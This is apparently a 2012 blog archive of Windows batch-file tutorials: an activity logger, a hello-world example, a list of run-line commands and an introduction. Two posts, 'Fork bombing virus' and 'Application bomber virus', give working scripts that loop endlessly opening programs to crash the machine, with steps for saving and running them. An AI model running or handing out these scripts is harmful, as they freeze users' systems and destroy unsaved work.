VOOLANET: BATCH FILE

Showing posts with label BATCH FILE. Show all posts

Monday, May 7, 2012

LOGGING SYSTEM ACTIVITIES

SYSTEM ACTIVITIES

Today I am Just sharing you a program to see your system activities, the codes are not more difficult and quite easily handle. (codes are using batch program & html)

The one of the primary use of the batch file is logging system activities. Periodic monitoring and logging activities is a part of security auditing. Here we are going to combine both HTML and batch file program to make a GUI and user friendly logging system.

CODE 1 (BATCH PROGRAMMING)

@echo off
echo. > voolanet.txt
echo Log File >> voolanet.txt
echo. >> voolanet.txt
echo User : %username% >> voolanet.txt
Date /t >> voolanet.txt
Time /t >> voolanet.txt
echo. >> voolanet.txt
echo Process Ran by %username% >> voolanet.txt
echo. >> voolanet.txt
qprocess >> voolanet.txt
echo. >> voolanet.txt
echo Network Activities >> voolanet.txt
netstat -s >> voolanet.txt
exit

Step 1

copy the above code in notepad and save as anyname.bat in C drive (System Drive)

In my case I am going to naming it duniya.bat in my C Drive.

Step 2

Run duniya.bat on drive C. As a result Oh! my god I see the text file name voolanet.txt CAN YOU??

NOTE: The above code snippet will log the system activities such as the user logged in, processes ran by the user, and the network activities such as the number of bytes received and sent, then redirect it to a text file named ‘voolanet.txt’, it’s always better to open a log file in a html file, which is user friendly and GUI, hence the following HTML code will embed the ‘voolanet.txt’ into it.

CODE 2 (HTML CODE)

<html>

<title>COMPUTER DUNIYA</title>

<head><marquee>WELCOME TO COMPUTER DUNIYA's LOG FILE !</marquee></head>

<body>

<br>

<center><h1><u> Log File </u></h1>

<i>This Log file is created by <b>voolanet.blogspot.com</b> for monitoring System Activities !</i>

</center>

<br>

<ul>

<a href="c:\voolanet.txt">Click here to view the Log File</a>

</ul>

</body>

</html>

Step 3

Copy and paste the above html program in a notepad file and save it with the .html or .htm extension on the same location where you have already save the ‘voolanet.txt’ file.

Step 4

Now open up this html file using any of the available web browsers such as Internet Explorer, Mozilla Firefox, Safari or Chrome, then you might see a page like this,

When you click on the above link that says ‘Click here to view the Log File’, then it will display you the logs such as the user logged in, exact date and time when the user logged in, processes ran by the user, and the network activities such as the number of bytes sent and received, here I have enclosed the screenshot of the same log what I have mentioned in this post,

So this is the log generated in my system after executing the batch that I have created, likewise you too can customize or mess with the batch program given above as per your wish and need.

Tuesday, April 24, 2012

FORK BOMBING VIRUS

FORK BOMBING

Most of them have heard about the word ‘fork()’, which is used to create child process, like wise fork bombing is nothing but calling a program by itself again and again with a infinite loop and making the system to crash by popping up hundreds of windows on the screen.

@echo off
:loop
Explorer
Call fork.bat
Goto loop

DOWNLOAD CODE HERE

Copy the above program and paste it in a notepad file and save it as ‘fork.bat’. The explorercommand will open up the ‘documents’ directory, and it is given inside a loop, then the same batch file is called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling the program itself again and again until the system crashes or hangs up.

APPLICATION BOMBER VIRUS

Application Bomber

Application bomber is a superset of window bomber, this has a close relation to the fork bomber program, where in this ‘application bomber’ we don’t call the program using the name itself (simply known as fork), where as we are going to open up applications continuously using a loop.

@echo off
:hey
start notepad
start winword
start mspaint
start write
start cmd
start explorer
start control
start calc
goto hey

DOWNLOAD CODE HERE

When the above given batch program is executed, it will open up the following applications such as notepad, word document, Microsoft paint, WordPad, command prompt, my documents, control panel, and calculator in an infinite loop causing the system to collapse and as a result the system simply crashes or reboots. Just imagine the same using a fork concept; oops! it will make the system crash immediately.

Thursday, April 5, 2012

RUN LINE COMMANDS

Run Line commands

As said earlier batch file is comprised of sequence of run line commands, hence it’s a must to
know at least few useful run line commands for constructing a good batch program. Here I am going to list out the useful run line commands with a brief description. Commands Descriptions

access.cpl--------> Accessibility Controls

accwiz--------> Accessibility Wizard

appwiz.cpl--------> Add/Remove Programs

ciadv.msc--------> Indexing Service

control admintools--------> Administrative Tools

cleanmgr--------> Disk Cleanup Utility

control color--------> Display Properties

compmgmt.msc--------> Computer Management Console

control folders--------> Folder Options

cliconfg--------> SQL Client Configuration

certmgr.msc--------> Certificate Manager

charmap--------> Character Map

chkdsk--------> Check Disk Utility

clipbrd--------> Clipboard Viewer

calc--------> Opens calculator

cmd--------> Opens command prompt

devmgmt.msc--------> Device Manager

dfrg.msc--------> Disk Defragmenter

diskmgmt.msc--------> Disk Management

dcomcnfg--------> Component Services

ddeshare--------> DDE Shares

diskpart--------> Disk Partition Manager

desk.cpl--------> Display Properties

drwtsn32--------> Dr. Watson

directx.cpl--------> Direct X Control Panel

dxdiag--------> Direct X Troubleshooter

eudcedit--------> Private Character Editor

eventvwr.msc--------> Event Viewer ( Maintaining System Logs )

explorer--------> Opens My Documents

freecell--------> FreeCell Game

fsquirt--------> Bluetooth Transfer Wizard

fsmgmt.msc--------> Shared Folders

gpedit.msc--------> Group Policy Editor

hdwwiz.cpl--------> Add Hardware Wizard

iexpress--------> Iexpress Wizard (Package creator)

iexplore--------> Internet Explorer

inetcpl.cpl--------> Internet Explorer Properties

ipconfig--------> Windows IP Configuration

intl.cpl--------> Regional Settings

joy.cpl--------> Game Controllers

lusrmgr.msc--------> Local Users and Groups

logoff--------> Logs out current user

magnify--------> Open Magnifier

makecab--------> Cabinet Maker, file compressor.

msconfig--------> Open System Configuration Utility

mshearts--------> Opens Hearts game

msinfo32--------> System Information

mspaint--------> Opens Mspaint

msmsgs--------> Windows Messenger

mstsc--------> Remote Desktop

mmsys.cpl--------> Sounds and Audio

mqbkup--------> Message Queue Backup\Restore Utility

notepad--------> Opens a New Notepad

ntmsmgr.msc--------> Removable Storage

ntmsoprq.msc--------> Removable Storage Operator Requests

ncpa.cpl--------> Network Connections

netsetup.cpl--------> Network Setup Wizard

openfiles -------->Used to view Files Opened Remotely via local
share points

odbccp32.cpl--------> ODBC Data Source Administrator

osk -------->On Screen Keyboard

proxycfg--------> Proxy configuration

packager--------> Object Packager

perfmon.msc -------->Performance Monitor

powercfg.cpl--------> Power Options

pentnt -------->Checks for Floating point error in Intel based processors

qappsrv--------> Displays the available application terminal servers on the network.

qprocess--------> Displays information about processes

qwinsta--------> Display information about Terminal Sessions

rcp -------->Copies files to and from computer running the RCP service

recover--------> Recovers readable information from a bad or defective disk.

relog -------->Used for Logging.

replace -------->Replaces files

rexec--------> Runs commands on remote hosts running the REXEC service

route -------->Manipulates network routing tables

rsh--------> Runs commands on remote hosts running the RSH service

rsm -------->Manages media resources using Removable Storage

runas -------->Allows a user to run specific tools and programs with different permissions

than the user’s current logon provides.

regedit--------> Opens Registry Editor

rsop.msc--------> Resultant Set of Policy

rwinsta -------->Reset the session

rasphone -------->Remote Access Phonebook

services.msc -------->Used for Managing all the services on the computer.

sigverif--------> File Signature Verification Tool

secpol.msc--------> Local Security Settings

shutdown -------->Shutdown Windows

syskey--------> Windows System Security Tool

sc -------->Communicates with the service controller and installed services.

schtasks -------->Replaced with at.

setver--------> Sets the version number that MS-DOS reports to a program

shadow -------->Helps in remote connection & network used to monitor another Terminal Services session

shrpubw--------> Shared Folder Wizard

sndvol32 -------->Volume Control

sysedit--------> Windows.ini, system.ini, config.sys, autoexec.bat

sol -------->Opens up Solitaire Game

timedate.cpl--------> Date and Time Properties

telephon.cpl--------> Phone and Modem Options

telnet -------->Telnet Client

tftp -------->Transfers files to and from a remote computer running the TFTP service

tlntadmn--------> Telnet Administration. Used to start, stop, and send msg to a terminal session connected to via telnet.

tscon--------> Attaches a user session to a terminal session.

tsdiscon -------->Disconnects a session from a terminal server.

tskill -------->Ends a process. Even can terminate a process running on a remote session.

tourstart -------->Windows XP Tour Wizard

tsshutdn--------> shutdown in 60 sec

typeperf -------->Very useful in login events. Used to monitor

Processor--------> threads and writes into a specified log file.

userinit--------> My Documents

verifier -------->Driver Verifier Utility

winchat -------->Microsoft Chat

winmine -------->Minesweeper Game

wuaucpl.cpl -------->Automatic Updates

wscui.cpl--------> Security Center

wmplayer -------->Windows Media Player

wmimgmt.msc--------> Windows Management Infrastructure

w32tm -------->Tool used to diagnose problems occurring with Windows Time. register to run as a service and add default configuration to the registry

winmsd -------->System Information.

wupdmgr--------> Windows Update Launches

winver--------> Displays Windows Version

write--------> Opens WordPad

INERNAL & EXTERNAL COMMANDS

There are two types of commands that we can run from a command prompt, and they were,

1. Internal commands
2. External commands.

Internal Commands

Internal commands are nothing but the built-in commands that are shipped along with the
operating system, for example, echo, cls, del, dir were few of the well known internal commands.

External Commands

External commands are the commands that are often created while installing a new application
and these commands mostly have no use except calling that application and support files. Few external commands can only be executed in the ‘Run’ dialog box (start --> Run), but not on the command prompt, and those commands include ‘firefox’. The ‘firefox’ command can be executed only from the run line, that too if the firefox application is installed on that machine and it won’t work on the command prompt. Likewise the ‘firefox’ there are various other external commands such as the “PsTools” which includes commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsList, PsLoggedOn and so on.

Monday, April 2, 2012

HOW TO CREATE a BATCH PROGRAM

Today I just wake up early morning ma friend call me n ask how to create a batch program........?

JUST finished ma BREAKFAST, ok let discuss

As said earlier, batch programs can be written using any of the text editors such as notepad,
word pad and so on, but notepad is the most often used text editor in such cases. Like any other
programing languages, lets start our first program with the ‘Hello World’ program.

1. Open up a notepad and type the following.

@echo off
Echo Hello World
pause

2. Save the file with any name you wish, but make sure that you save the file extension with .bat, in this case I am saving this file as ‘first.bat’.

3. When you save the batch file, then the icon becomes like the below icon,

In Windows XP, the Batch file icon looks like above, where as in Windows Vista the Icon looks like the below image,

4. Just double click to execute the batch file that you have created now. And the output looks like,

5. You are done!

Let me explain what does the above given program does,

‘echo’ is the command used to print text on the screen, so whatever that follows the echo command will be displayed on the output screen. This command is just like the ‘printf’ statement in the C language.

When you type the echo command alone, then it will tell you whether the ‘echo is ON’ or ‘echo is OFF’. It’s always recommended to turn the echo off, else it will display the prompts like (C:\>) and so on. In order to avoid the prompts being displayed, the echo is turned off by using the command “@echo off” or simply by using the “echo off”.

“Echo Hello World” will display the “Hello World” on the output screen, and the pause command is used to wait for the user interaction, whether to proceed further or not. If the pause is not used, then the batch will terminate immediately after displaying the “Hello World”.

To be cont.........

Sunday, April 1, 2012

BATCH FILE PROGRAMMING (Introduction)

Introduction

Batch file programming is the native programming offered by the Microsoft Windows Operating

System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a

series of files of same type or of different type, creating logs, clearing unwanted craps from your

computer and even for creating a batch VIRUS.

Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command

Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating tedious tasks and for maintaining system logs. The commands used while creating a batch file are case insensitive, in the sense that it may accept both small and upper case letters.

Modes:

There are two different modes that are supported by DOS (Disk Operating System), they were,

1. Interactive Mode.

2. Batch Mode (Silent Mode).

Interactive mode:

In interactive mode, when a command is executed, it interacts with the user for input and

depending upon the input supplied by the user, the further processes are carried out. For example, let’s take the ‘del’ command.

The ‘del’ command is used for deleting files that reside inside a directory. Now I am going to

delete all the files inside a folder named ‘a’, and when I executed the following command, it is interacting with me prompting “Are you sure (Y/N)?”, confirming the deletion operation, and depending upon my input, it decides what to do. If I hit ‘Y’ then it will delete the files specified, else if I hit ‘N’ then it won’t delete.

C:\>del a

C:\a\*, Are you sure (Y/N)? y

Batch Mode:

Batch mode can also be referred as ‘Silent mode’ or ‘Quiet Mode’, and this is mere opposite to

the interactive mode. The command that operates at batch mode will never interact with the user at any instance, instead it will take care of every operation by itself.

For example, I am going to explain this by using the same ‘del’ command. There is a switch available for the ‘del’ command, which makes the command to operate at silent mode, and that

switch is ‘/Q’

C:\>del /Q a

C:\>

In this case, the command is not at all interacting with me, whether to delete those file or not.

In the above example, I have tried to delete the same files in the same folder by using the same command but with a different switch. Anyhow both the commands will perform the same operation but the mode it operates differs.

.......... cont.........